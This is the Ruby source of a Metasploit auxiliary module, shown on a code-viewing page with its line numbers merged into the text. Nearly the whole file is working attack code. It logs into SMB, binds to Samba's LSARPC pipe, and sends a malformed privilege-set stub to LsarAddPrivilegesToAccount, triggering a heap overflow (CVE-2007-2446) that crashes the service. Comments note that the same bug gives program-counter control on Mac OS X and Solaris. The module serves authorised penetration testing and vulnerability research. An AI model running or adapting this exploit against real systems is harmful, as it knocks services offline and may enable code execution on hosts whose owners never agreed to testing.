Path: blob/master/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::DCERPC7include Msf::Exploit::Remote::SMB::Client8include Msf::Auxiliary::Dos910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Samba lsa_io_privilege_set Heap Overflow',15'Description' => %q{16This module triggers a heap overflow in the LSA RPC service17of the Samba daemon.18},19'Author' => [ 'hdm' ],20'License' => MSF_LICENSE,21'References' => [22['CVE', '2007-2446'],23['OSVDB', '34699'],24],25'Notes' => {26'Stability' => [CRASH_SERVICE_DOWN],27'SideEffects' => [],28'Reliability' => []29}30)31)3233register_options(34[35OptString.new('SMBPIPE', [ true, 'The pipe name to use', 'LSARPC']),36]37)38end3940def run41pipe = datastore['SMBPIPE'].downcase4243print_status('Connecting to the SMB service...')44connect45smb_login4647datastore['DCERPC::fake_bind_multi'] = false4849handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])50print_status("Binding to #{handle} ...")51dcerpc_bind(handle)52print_status("Bound to #{handle} ...")5354# Linux: Needs heap magic to work around glibc (or TALLOC mode for 3.0.20+)55# Mac OS X: PC control via memcpy to stack ptr56# Solaris: PC control via memcpy to stack ptr5758stub = lsa_open_policy(dcerpc)59stub << NDR.long(1)60stub << NDR.long(0xffffffff)61stub << NDR.long(0x100)62stub << 'X' * 0x1006364print_status('Calling the vulnerable function...')6566begin67# LsarAddPrivilegesToAccount68dcerpc.call(0x13, stub)69rescue Rex::Proto::DCERPC::Exceptions::NoResponse70print_good('Server did not respond, this is expected')71rescue StandardError => e72if e.to_s =~ /STATUS_PIPE_DISCONNECTED/73print_good('Server disconnected, this is expected')74else75raise e76end77end7879disconnect80end81end828384